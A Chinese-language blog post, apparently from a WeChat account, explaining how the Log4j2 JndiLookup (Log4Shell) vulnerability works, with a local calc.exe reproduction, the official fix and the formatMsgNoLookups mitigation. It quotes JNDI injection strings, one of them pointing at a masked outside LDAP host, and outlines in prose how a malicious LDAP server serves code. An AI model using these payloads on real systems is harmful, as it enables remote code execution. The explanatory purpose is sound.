Log4j2 Jndi 漏洞原理解析、复盘原创
“ 2021-12-10一个值得所有研发纪念的日子。”
一波操作猛如虎,下班到了凌晨2点25。
基础组件的重要性,在此次的Log4j2漏洞上反应的淋漓尽致,各种“核弹级漏洞”、“超高危” 等词汇看的我瑟瑟发抖,那么问题真的有那么严重吗?这个让大家普遍加班搞到凌晨的漏洞,到底是什么问题?
01
—
漏洞解析、复现
Log4j2的框架设计非常优秀,各种功能均是以内部插件的方式进行的扩展实现,比如我们经常在Xml中定义的<Appenders>,实际对应的则是如下的AppendersPlugin对象
而我们在Xml Appenders下所定义的<Console>实际对应的则是如下的ConsoleAppender对象
看到这里应该就知晓了,我们在配置文件中所配置的各种元素实际上对应的均是Log4j2中的各种插件对象,Xml在被解析过程当中,会将你所配置的各种元素名称实例化为对应的插件对象,然后与你所配置的Logger进行关联。
Console,RollingFile 等则是我们一般情况下常用的插件,而此次出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup 呐,就是下面这个
此时则会有一个疑问,这个插件?没见过?不熟悉?使用频率不高吧?
按照道理来说的确是这样,一个使用频率不高的插件,就算有漏洞,也很难会去触发到。
但偏偏这个插件被人为使用的频率较低,但代码触发到的频率很高,高到你代码中每次触发info,warn,error 等日志写入的时候,都会去校验一下是否执行Lookup的逻辑。也就是基于此,这样一个小的插件由于和日志的写入逻辑有所关联,就导致了漏洞触发的可能性成倍的增加。
Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,如下所示:
error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息
同理Log4j2中还封装的有DockerLookup,KubernetesLookup等,当你要在服务中获取Docker的元数据信息时,则最终会被Log4j2框架调度执行到DockerLookup方法中,由DockerLookup来执行具体的交互并返回对应的数据。
那么此时再来去看JndiLookup则一目了然了,没错,JndiLookup只是Log4j2框架中各种Lookup的其中一个,其作用则是通过Jndi规范去获取对应的配置信息时使用。
此时我们来验证一下JndiLookup的漏洞,如下所示:
各大安全厂商在发布漏洞验证报告时的截图均是以$Jndi 打开本地计算器为例,以此表示Jndi存在严重的安全隐患,所以此处本人也是直接以此为例来进行验证。
当我启动main方法后可以发现 ${jndi:ldap://127.0.0.1:1389/badClassName} 这段代码最终打开了本地的一个计算器程序,漏洞验证成功。
实际上想要本地复现这个漏洞是并不简单的,所以为了后续可以更快速的理解,我们此处则需要重复几个概念:
1、jndi 全名 Java Naming and Directory Interface,是用于目录服务的Java API,它允许Java客户端通过名称发现查找数据和资源(以Java对象的形式)。
2、触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用JndiLookup传入值为 ldap://ip:port 。
3、jndi是目录接口,所以JndiLookup中则是各种目录接口的实现集合,如下图所示可以发现JndiLookup中可直接调用的具体实现类有很多,其中就包括LdapURLContext
OK,了解了上述的概念,我们就可以继续开始了。
首先我们当前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是让Log4j2框架执行error时,触发JndiLookup,然后调用JndiLookup的ldap协议,以此达到注入的效果。
那么在此之前,我们需要做的第一件事是先搭建一个ldap协议的服务端,只有这样才能做到Log4j2触发ldap协议时,可以成功访问你当前本地的1389端口,核心代码如下所示:
首先定义一个ldap协议的Server
第二步通过a**框架字节码的方式生成一个class类,class类主要内容便是执行Runtime.getRuntime.exec("calc.exe") 也就是该class类一旦被执行则会立即调用本地的计算器服务。
第三步则是ldap协议被访问后,则将当前的class类作为byte流输出为对应的响应结果
此时我们的服务端则搭建完成。
而对于客户端而言,则更加简单,仅需要引用对应的log4j-core的漏洞版即可,当前所引入的为2.14.1的版本。
启动测试,结果则如下所示:
此时身为好奇Boy的你可能仍然会有疑问:
1、jndi加载后的class字节流是在何时被实例化为对象的。
2、既然如此,Log4j2官方又是如何修复的?
02
—
疑问、复盘
针对jndi的问题,先做下相关说明:首先jndi本身并不是Log4j2框架的产物,而是Jdk自身的功能,对应的包路径为com.sun.jndi 。
jndi 在jdk中的定位是目录服务应用程序接口,目录服务可以想象为一个树,而java中常用的目录服务协议则是rmi和ldap,ldap本身就是一套常用的目录访问协议,一般我们windows常用的AD域也都是基于ldap协议的,而jndi的作用则是通过目录协议如ldap根据对应的目录名,去查找对应服务端的对象,并把该对象下载到客户端中来。
所以针对上述jndi:ldap的漏洞,其实这本身就不是问题,因为这本身就是jndi的功能,如果你的目录访问协议是可控的情况下,那么使用jndi则是安全的。
而Log4j2框架中JndiLookup使用到了Jndi的功能,但是对应的传参则较为随意,这就是一个很大的问题,如通过http的方式给业务服务传参数为:${jndi:ldap://******.com/service} ,而业务方服务又恰巧把该参数打到了日志中,这就会导致很大的漏洞,因为谁也无法保证注入的yuming.com/service返回的对象是什么,相当于是一个很大的后门,注入者可以通过此漏洞任意执行所有代码。
闭环了朋友们,文章最初所提到的这个漏洞真的有这么严重吗?看到这里想必也已经很清楚了,各种媒体所宣称的"核弹级",也是真的没什么毛病。
此时所引出的第二个问题则是:Log4j2框架是如何修复的?
既然jndi的问题无法解决,那作为日志框架的“我”自然要从自身寻找问题,所以Log4j2框架本身的解决方案则是设置域名白名单,类白名单等操作,如果jndi:ldap对应的访问路径并非127.0.0.1同网段的服务等,则不会执行lookup() ,以此避免访问到外部的恶意服务上去。
Log4j2的代码修复记录如下:
老版本中关于JndiManager的代码是这样的,直接调用context.lookup(),context为jdk自身的jndi类
而修复后代码是这样的:在调用context.lookup()之前,做了较多的拦截操作,判断了对应的白名单类,以及host等操作
对于各公司内解决方案,实际上不见得一定要通过短时间内升级jar包的方式来解决,因为java体系内的各种log包的依赖,由于各种历史原因导致当前也是有点较为繁琐,如果想要短时间内更加无痛解决的情况下,直接在已有的项目下增加log4j2.formatMsgNoLookups=true,也可以完美解决该问题。
对应代码如下:配置该参数为true以后,会在对应的日志输出进行format格式化时,不再解析你当前日志中的 ${} 的代码块,造成的影响面则是服务代码中所有的 ${} 均不会再解析Lookup
当然,如果可以高效的推动各业务方升级则是最好的。
如果大家还有其他的奇门技巧来解决该问题,欢迎留言评论交流下你的解决方案。
对于想要学习并验证该漏洞的小伙伴,则需要麻烦你扫码以下公众号,并发送消息“ldap” 便可直接获取ldap协议服务端源代码。(卑微打工人,在线引流恰饭 /哭 ,感谢大家对原创的支持。 )
原文链接:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
本文已进行版权登记,版权归属陈咬金,抄袭必究。如需转载,请联系微信号:x_h886688